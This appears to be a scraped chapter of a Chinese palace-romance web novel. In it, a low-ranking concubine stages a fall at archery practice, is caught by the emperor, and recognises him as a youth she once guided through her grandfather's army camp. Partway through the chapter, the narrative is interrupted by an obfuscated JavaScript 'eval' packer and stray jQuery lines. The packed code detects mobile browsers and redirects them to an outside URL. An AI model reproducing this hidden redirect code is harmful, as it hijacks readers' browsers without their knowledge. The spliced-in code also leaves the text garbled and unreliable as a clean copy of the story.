18. 辰璟哥哥

作品:《娘娘要上位

    萧景焕深邃的目光在她低垂的眉眼和看似无恙的脚踝上扫过,眸中闪过一丝难以察觉的玩味。他未追问细节:“朕还以为是什么事,不过是要几块冰罢了。”


    萧景焕偏过头,对身边的心腹大太监郑德淡声吩咐:“去告诉尚药局,沈答应宫中用冰,如数供给,不得延误。”


    “奴才遵旨。”郑德躬身领命。


    怀瑾悬着的心猛地落下。她立刻深深一拜:“臣妾,谢陛下恩典!”


    萧景焕摆摆手。对他来说,这不过是一件小事。


    怀瑾站起身,看着萧景焕,心中却波澜起伏。


    她费尽心思,辗转难安的事情,在他这里,不过是一句话,轻飘飘的一句话,便能解决。在这深宫之中,权力与地位,果然才是一切的主宰。


    它能救人于水火,亦能……轻易夺人性命。


    她握紧了袖中的手,一种前所未有的、对权力的渴望,如同细微的藤蔓,悄然在她心底滋生。


    仅仅是为了保护身边的人,她也必须……必须往上爬。


    “继续吧。”皇帝的声音拉回了她的思绪,“让朕看看,你还有多少‘惊喜’。”


    怀瑾收敛心神,抬眸望向箭靶,眼中重新凝聚起专注的光芒。救人的第一步已经达成,总算能暂且将小喜子的事搁下,全神贯注于她今日的“大计”。


    怀瑾在心里默默演练了一遍。


    她的计划是:在皇上面前射箭时,假装被弓弦弹到手腕,或者脚下不稳,制造一个小小的惊呼,让他有机会上前扶住自己。


    这样既能让他关心自己,又不会显得太刻意。


    怀瑾觉得这个计划很完美。


    她深吸一口气,重新挽弓,目光扫过地面,寻找着能制造“意外”的合适位置。


    就是现在!


    她算准萧景焕正看向她的时机,脚下故意一滑,口中发出一声恰到好处的惊呼,身体向着侧后方“失控”地倒去。她计算好了角度,那里空地平整,最多是摔得略显狼狈。


    然而,意外真的发生了!


    她脚下并非平坦地面,而是恰好踩中了一颗之前比试时不知从何处滚来的小圆石!这完全超出了她的设计!


    “啊——!”


    身体失衡的程度远超预期,手中的弓直接脱手飞出,整个人不受控制地朝着后方摆放箭矢的木架狠狠摔去!那架子上,一支支箭簇朝上,若是撞实了,后果不堪设想!


    电光火石之间,一道玄色身影已如闪电般掠至!


    “怀瑾!”


    萧景焕的动作快得超出了所有人的预料。


    他甚至没有时间去思考,身体已然做出判断——并非简单地跑过去接住,而是在启动的瞬间有一个迅捷无比的侧身沉肩,以最小的阻力切入她与危险之间,一手精准地揽住她后仰的腰肢,另一只手毫不犹豫地护住她的头颈,用自己的肩背“砰”地一声重重撞向那危险的箭架!


    “哗啦——!”


    木架应声而散,箭矢噼里啪啦散落一地,大部分被他宽阔的后背挡住。


    一切发生在呼吸之间。


    这一声“怀瑾”,并非他之前叫的“沈答应”!周围侍立的宫女太监们皆是浑身一震,难以置信地低下头去。


    而怀瑾,更是如遭雷击!


    这称呼……这在她遇险时脱口而出的呼唤……


    怀瑾被他紧紧箍在怀中,鼻尖瞬间充斥着他身上清冽的龙涎香气,混杂着一丝尘土与惊险的味道。


    她能清晰地感受到他胸膛下急促而有力的心跳,以及他手臂传来的、不容置疑的力量。


    她猛地抬头,在极近的距离下,清晰地看到了他紧绷的下颌线,那深邃眼眸中尚未褪去的紧张……


    他的动作,他的表情……


    这……这不是……


    不……不会吧……


    就在这时,跟在身边的一个侍卫看见这是一个拍马屁的好机会:


    “陛下果然不愧是在军中历练过!您这救人的身手真是利落悍勇!”


    “军中”二字,如同最后一记重锤,彻底敲碎了怀瑾心中所有的怀疑!


    萧景焕,就是当年军中的辰璟哥哥!


    那个她记忆里温暖明亮的辰哥哥,与眼前这个威严深沉的帝王,竟是同一人!


    她脑中“嗡”的一声,一片空白。


    巨大的震惊、被欺瞒的茫然、还有身份骤然揭破带来的恐慌,瞬间淹没了她。


    萧景焕清晰地看到了她眼中从震惊、到恍然、再到巨大冲击下的无措。


    他脸上的担忧与惊怒迅速褪去,沉静下来,取而代之的是一种被打乱了步调的不悦与深沉的审视。


    他缓缓松开了环住她的手。


    怀瑾几乎是本能地猛地向后退开两步,连礼仪都忘了,声音带着自己都无法控制的颤抖:“臣……臣妾……”


    她什么也说不出来,只觉得再多待一刻都会窒息。


    她甚至忘了谢恩,便提着裙子,跌跌撞撞、近乎失态地朝着撷芳殿的方向狂奔而去,那仓皇的背影迅速消失在宫道尽头。


    萧景焕没有阻止,他站在原地,目光幽深地看着她几乎落荒而逃的背影。


    随即,他冰冷的视线扫过那名多嘴的侍卫。


    “跟在朕身边多年,还不知道什么该说,什么不该说。”


    他的声音不高,却让整个射箭场的空气瞬间冻结。


    “自行去领二十板子。”


    侍卫脸色一白,立刻跪地:“奴才领罚!”


    萧景焕不再多言,甚至未看一眼散落满地的狼藉,拂袖而去。


    他的恼怒,并非因为遇险,而是因为这句话,彻底打碎了他原本掌控之中的“游戏”。


    *


    撷芳殿外,天色不知何时暗沉下来,细雨由疏转密,淅淅沥沥打在檐角青瓦上。


    雨丝斜飞,沾湿了廊下的石阶,整个撷芳殿笼在一片烟雨迷蒙中,越发显得冷清萧索。


    怀瑾跌跌撞撞地冲进撷芳殿,雨丝沾湿了她的发鬓和衣衫,身后雪盏焦急地追着:“小主!小主您慢些!地上滑!”


    可怀瑾仿佛听不见,她直直地走进内室,动作僵硬得像个木偶。


    她的脸色惨白,眼神涣散,整个人魂不守舍。


    “小主!”雪盏冲进来,想扶住她。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582648|187123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怀瑾却像是没看见,她机械地走到床边,坐下,然后又站起来,在屋里来回走动。


    她的步伐毫无章法,撞到了椅子也不觉得疼,碰到了桌角也没反应。


    雪盏吓坏了:“小主,您怎么了?您别吓奴婢啊!”


    怀瑾还是没有回应,她只是机械地走着,眼神空洞,仿佛整个人的魂魄都不在了。


    静棠听到动静,也赶紧从外面进来:“怎么了?”


    雪盏急得快哭了:“静棠姐姐,小主她……她好像不对劲!”


    静棠看着怀瑾的样子,也吓了一跳:“小主,您到底怎么了?”


    雪盏想了想,说:“今天小主在射箭场,差点跌倒在箭架上面,被皇上救了。然后……然后小主就这样了。”


    她不解地说:“小主,皇上救了您是好事啊!您现在可是实打实的在皇上心里留下了印象了,您怎么还这样呢?”


    怀瑾被她们的声音唤回了一丝神智。


    她转头看向焦急的雪盏和静棠。


    她的脸色还是很白,但眼神终于有了焦距。


    她看着两人,嘴唇动了动,却发不出声音。


    静棠和雪盏对视一眼,都看出了彼此眼中的担忧。


    “小主……”静棠小心翼翼地走过去,“您先坐下,慢慢说。”


    怀瑾点了点头,僵硬地坐到床边。


    她看着两人,终于开口,声音沙哑:“静棠,雪盏……”


    她深吸一口气,指尖发抖:“是他!陛下……就是他!当年军中的辰璟哥哥!那个老跟我抬杠的辰哥哥!”


    雪盏瞪圆眼睛,嘴张成圆形:“辰……辰哥哥?什么辰哥哥?主子您在军中那会儿……”


    静棠愕然,捕捉到重点:“陛下?是当年在军中……主子您认识的''辰璟''?”


    殿内落针可闻,只有窗外淅淅沥沥的雨声。


    怀瑾用力点头,指尖抠紧裙角云纹,声音低如蚊蚋:“是……就是那个祖父让我带着熟悉军营的‘辰璟'',说是洛曜兵部霄云侯世子。”


    怀瑾的思绪飘回六年前。


    那时她才十岁,在军中跟着祖父。


    有一天,祖父带回来一个少年,要在军中历练一段时间,让她带他熟悉军营。


    怀瑾还记得第一次见到他的样子。


    他一身劲装,腰悬长剑,倒有几分英气。


    可他那副目中无人的样子,一看就知道是个被宠坏的少爷。


    怀瑾当时就想:又是一个来镀金的。


    可祖父让她带,她也只能带。


    “他一身劲装,看着挺像回事,可傲着呢!”怀瑾嘴角想翘又压下,“结果他倒好!瞧我年纪小,总一副''你个小丫头懂什么''的表情,跟我顶牛。”


    雪盏眼睛发亮:“然后呢?”


    怀瑾陷入回忆:“我说东边水草地不能走,那里有沼泽,他偏不信,说''哪有那么多讲究'',结果走了没几步,就陷下去半截腿!”


    她说着,脸上闪过一丝笑意:“他当时那个样子,狼狈极了!气得我恨不得把他撂那儿不管!”


    静棠忍不住笑:“后来呢?”